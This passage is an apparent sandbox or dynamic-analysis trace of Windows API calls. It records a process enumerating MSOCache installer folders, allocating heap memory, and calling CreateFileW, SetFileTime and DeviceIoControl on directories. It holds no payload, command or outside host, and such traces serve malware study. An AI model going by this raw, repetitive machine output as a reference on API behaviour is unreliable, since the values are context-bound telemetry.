ftLastAccessTime.dwLowDateTime=0xfa13c510, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa13c510, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0228.997] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbd907a00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbd907a00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf79111d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x1200204, dwReserved0=0x0, dwReserved1=0x0, cFileName="InfLR.cab", cAlternateFileName="")) returned 1 [0228.997] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f4fe0 [0228.997] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f4fe0) returned 1 [0228.997] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f4fe0 [0228.997] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f4fe0) returned 1 [0228.997] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f4fe0 [0228.997] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x8f4578 [0228.997] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5068) returned 1 [0228.997] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x8f3f68 [0228.997] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x8f69f0 [0228.997] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f4fe0) returned 1 [0228.997] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbd907a00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbd907a00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf6e58f90, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x2fac00, dwReserved0=0x0, dwReserved1=0x0, cFileName="InfoPathMUI.msi", cAlternateFileName="")) returned 1 [0228.997] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f4fe0 [0228.997] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f4fe0) returned 1 [0228.997] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f4fe0 [0228.997] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f4fe0) returned 1 [0228.997] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f4fe0 [0228.997] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x8f3f88 [0228.997] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x8f6af8 [0228.997] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f4fe0) returned 1 [0228.997] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbec1a700, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbec1a700, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf6e345a0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x4cf, dwReserved0=0x0, dwReserved1=0x0, cFileName="InfoPathMUI.xml", cAlternateFileName="")) returned 1 [0228.997] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f4fe0 [0228.997] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f4fe0) returned 1 [0228.997] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f4fe0 [0228.997] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f4fe0) returned 1 [0228.997] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f4fe0 [0228.997] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x8f3fa8 [0228.997] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x8f6c00 [0228.998] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f4fe0) returned 1 [0228.998] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbec1a700, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbec1a700, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfa13c510, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x73c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0228.998] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f4fe0 [0228.998] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f4fe0) returned 1 [0228.998] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f4fe0 [0228.998] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f4fe0) returned 1 [0228.998] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f4fe0 [0228.998] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x8f3fc8 [0228.998] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x8f6d08 [0228.998] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f4fe0) returned 1 [0228.998] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbec1a700, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbec1a700, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfa13c510, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x73c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 0 [0228.998] GetLastError () returned 0x12 [0228.998] FindFirstFileExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\*", fInfoLevelId=0x1, lpFindFileData=0x15ff20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15ff20c) returned 0x4fd460 [0228.998] FindClose (in: hFindFile=0x4fd5a0 | out: hFindFile=0x4fd5a0) returned 1 [0228.998] FindNextFileW (in: hFindFile=0x4fd460, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xf6e34d70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa13c510, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa13c510, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0228.998] FindNextFileW (in: hFindFile=0x4fd460, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbd907a00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbd907a00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf79111d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x1200204, dwReserved0=0x0, dwReserved1=0x0, cFileName="InfLR.cab", cAlternateFileName="")) returned 1 [0228.998] FindNextFileW (in: hFindFile=0x4fd460, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbd907a00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbd907a00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf6e58f90, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x2fac00, dwReserved0=0x0, dwReserved1=0x0, cFileName="InfoPathMUI.msi", cAlternateFileName="")) returned 1 [0228.998] FindNextFileW (in: hFindFile=0x4fd460, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbec1a700, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbec1a700, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf6e345a0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x4cf, dwReserved0=0x0, dwReserved1=0x0, cFileName="InfoPathMUI.xml", cAlternateFileName="")) returned 1 [0228.998] FindNextFileW (in: hFindFile=0x4fd460, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbec1a700, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbec1a700, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfa13c510, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x73c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0228.998] FindNextFileW (in: hFindFile=0x4fd460, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbec1a700, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbec1a700, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfa13c510, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x73c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 0 [0228.999] GetLastError () returned 0x12 [0228.999] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f4470) returned 1 [0228.999] FindClose (in: hFindFile=0x4fd460 | out: hFindFile=0x4fd460) returned 1 [0228.999] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f4578) returned 1 [0228.999] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f3a58) returned 1 [0228.999] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15ff4c4 | out: lpFindFileData=0x15ff4c4*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0x435769e0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x43bdc500, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x43bdc500, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90140000-0054-0409-1000-0000000FF1CE}-C", cAlternateFileName="")) returned 1 [0228.999] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f4fe0 [0228.999] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c"), fInfoLevelId=0x0, lpFileInformation=0x15ff3c0 | out: lpFileInformation=0x15ff3c0*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0x435769e0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x43bdc500, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x43bdc500, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0229.161] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1ac [0229.161] SetFileTime (hFile=0x1ac, lpCreationTime=0x0, lpLastAccessTime=0x15ff404, lpLastWriteTime=0x15ff404) returned 0 [0229.162] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x4000) returned 0x8f9690 [0229.162] DeviceIoControl (in: hDevice=0x1ac, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x8f9690, nOutBufferSize=0x4000, lpBytesReturned=0x15ff45c, lpOverlapped=0x0 | out: lpOutBuffer=0x8f9690, lpBytesReturned=0x15ff45c, lpOverlapped=0x0) returned 0 [0229.162] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f9690) returned 1 [0229.162] NtClose (Handle=0x1ac) returned 0x0 [0229.162] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f4fe0) returned 1 [0229.162] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f4fe0 [0229.162] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5068 [0229.162] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x8f3a58 [0229.162] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f4fe0) returned 1 [0229.162] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x8f4470 [0229.162] FindFirstFileExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\*", fInfoLevelId=0x1, lpFindFileData=0x15ff20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15ff20c) returned 0x4fd460 [0229.162] FindNextFileW (in: hFindFile=0x4fd460, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0x435769e0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x43bdc500, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x43bdc500, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0229.162] FindNextFileW (in: hFindFile=0x4fd460, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x5f356eb0, ftCreationTime.dwHighDateTime=0x1cbe576, ftLastAccessTime.dwLowDateTime=0x5f356eb0, ftLastAccessTime.dwHighDateTime=0x1cbe576, ftLastWriteTime.dwLowDateTime=0x43bdc500, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x1861, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0229.162] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f4fe0 [0229.162] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f4fe0) returned 1 [0229.162] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f4fe0 [0229.162] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f4fe0) returned 1 [0229.162] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f4fe0 [0229.162] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x8f4578 [0229.162] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5068) returned 1 [0229.162] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x8f3fe8 [0229.162] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x8f96a8 [0229.163] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f4fe0) returned 1 [0229.163] FindNextFileW (in: hFindFile=0x4fd460, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7fb9f9e0, ftCreationTime.dwHighDateTime=0x1cbe575, ftLastAccessTime.dwLowDateTime=0x7fb9f9e0, ftLastAccessTime.dwHighDateTime=0x1cbe575, ftLastWriteTime.dwLowDateTime=0x437179c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x30780dd, dwReserved0=0x0, dwReserved1=0x0, cFileName="VisioLR.cab", cAlternateFileName="")) returned 1 [0229.163] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f4fe0 [0229.163] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f4fe0) returned 1 [0229.163] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f4fe0 [0229.163] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f4fe0) returned 1 [0229.163] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f4fe0 [0229.163] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x8f4008 [0229.163] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x8f97b0 [0229.163] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f4fe0) returned 1 [0229.163] FindNextFileW (in: hFindFile=0x4fd460, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x272b1e70, ftCreationTime.dwHighDateTime=0x1cbe576, ftLastAccessTime.dwLowDateTime=0x272b1e70, ftLastAccessTime.dwHighDateTime=0x1cbe576, ftLastWriteTime.dwLowDateTime=0x435c1d00, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x2ab000, dwReserved0=0x0, dwReserved1=0x0, cFileName="VisioMUI.msi", cAlternateFileName="")) returned 1 [0229.163] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f4fe0 [0229.163] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f4fe0) returned 1 [0229.163] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f4fe0 [0229.163] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f4fe0) returned 1 [0229.163] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f4fe0 [0229.163] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x8f4028 [0229.163] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x8f98b8 [0229.163] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f4fe0) returned 1 [0229.163] FindNextFileW (in: hFindFile=0x4fd460, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x5f0a8e20, ftCreationTime.dwHighDateTime=0x1cbe576, ftLastAccessTime.dwLowDateTime=0x5f0a8e20, ftLastAccessTime.dwHighDateTime=0x1cbe576, ftLastWriteTime.dwLowDateTime=0x4359ac00, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x251f, dwReserved0=0x0, dwReserved1=0x0, cFileName="VisioMUI.xml", cAlternateFileName="")) returned 1 [0229.163] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f4fe0 [0229.163] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f4fe0) returned 1 [0229.163] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f4fe0 [0229.163] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f4fe0) returned 1 [0229.163] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f4fe0 [0229.163] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x8f4048 [0229.163] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x8f99c0 [0229.163] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f4fe0) returned 1 [0229.163] FindNextFileW (in: hFindFile=0x4fd460, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x5f0a8e20, ftCreationTime.dwHighDateTime=0x1cbe576, ftLastAccessTime.dwLowDateTime=0x5f0a8e20, ftLastAccessTime.dwHighDateTime=0x1cbe576, ftLastWriteTime.dwLowDateTime=0x4359ac00, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x251f, dwReserved0=0x0, dwReserved1=0x0, cFileName="VisioMUI.xml", cAlternateFileName="")) returned 0 [0229.163] GetLastError () returned 0x12 [0229.163] FindFirstFileExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\*", fInfoLevelId=0x1, lpFindFileData=0x15ff20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15ff20c) returned 0x4fd5a0 [0229.164] FindClose (in: hFindFile=0x4fd460 | out: hFindFile=0x4fd460) returned 1 [0229.164] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0x435769e0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x43bdc500, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x43bdc500, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0229.164] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x5f356eb0, ftCreationTime.dwHighDateTime=0x1cbe576, ftLastAccessTime.dwLowDateTime=0x5f356eb0, ftLastAccessTime.dwHighDateTime=0x1cbe576, ftLastWriteTime.dwLowDateTime=0x43bdc500, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x1861, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0229.164] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7fb9f9e0, ftCreationTime.dwHighDateTime=0x1cbe575, ftLastAccessTime.dwLowDateTime=0x7fb9f9e0, ftLastAccessTime.dwHighDateTime=0x1cbe575, ftLastWriteTime.dwLowDateTime=0x437179c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x30780dd, dwReserved0=0x0, dwReserved1=0x0, cFileName="VisioLR.cab", cAlternateFileName="")) returned 1 [0229.164] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x272b1e70, ftCreationTime.dwHighDateTime=0x1cbe576, ftLastAccessTime.dwLowDateTime=0x272b1e70, ftLastAccessTime.dwHighDateTime=0x1cbe576, ftLastWriteTime.dwLowDateTime=0x435c1d00, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x2ab000, dwReserved0=0x0, dwReserved1=0x0, cFileName="VisioMUI.msi", cAlternateFileName="")) returned 1 [0229.164] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x5f0a8e20, ftCreationTime.dwHighDateTime=0x1cbe576, ftLastAccessTime.dwLowDateTime=0x5f0a8e20, ftLastAccessTime.dwHighDateTime=0x1cbe576, ftLastWriteTime.dwLowDateTime=0x4359ac00, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x251f, dwReserved0=0x0, dwReserved1=0x0, cFileName="VisioMUI.xml", cAlternateFileName="")) returned 1 [0229.164] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x5f0a8e20, ftCreationTime.dwHighDateTime=0x1cbe576, ftLastAccessTime.dwLowDateTime=0x5f0a8e20, ftLastAccessTime.dwHighDateTime=0x1cbe576, ftLastWriteTime.dwLowDateTime=0x4359ac00, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x251f, dwReserved0=0x0, dwReserved1=0x0, cFileName="VisioMUI.xml", cAlternateFileName="")) returned 0 [0229.164] GetLastError () returned 0x12 [0229.164] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f4470) returned 1 [0229.164] FindClose (in: hFindFile=0x4fd5a0 | out: hFindFile=0x4fd5a0) returned 1 [0229.164] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f4578) returned 1 [0229.164] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f3a58) returned 1 [0229.164] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15ff4c4 | out: lpFindFileData=0x15ff4c4*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xf58ee8d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf6e0ec10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf6e0ec10, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90140000-00A1-0409-1000-0000000FF1CE}-C", cAlternateFileName="")) returned 1 [0229.164] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f4fe0 [0229.164] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c"), fInfoLevelId=0x0, lpFileInformation=0x15ff3c0 | out: lpFileInformation=0x15ff3c0*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xf58ee8d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf6e0ec10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf6e0ec10, ftLastWriteTime.dwHighDateTime=0x1d301be, 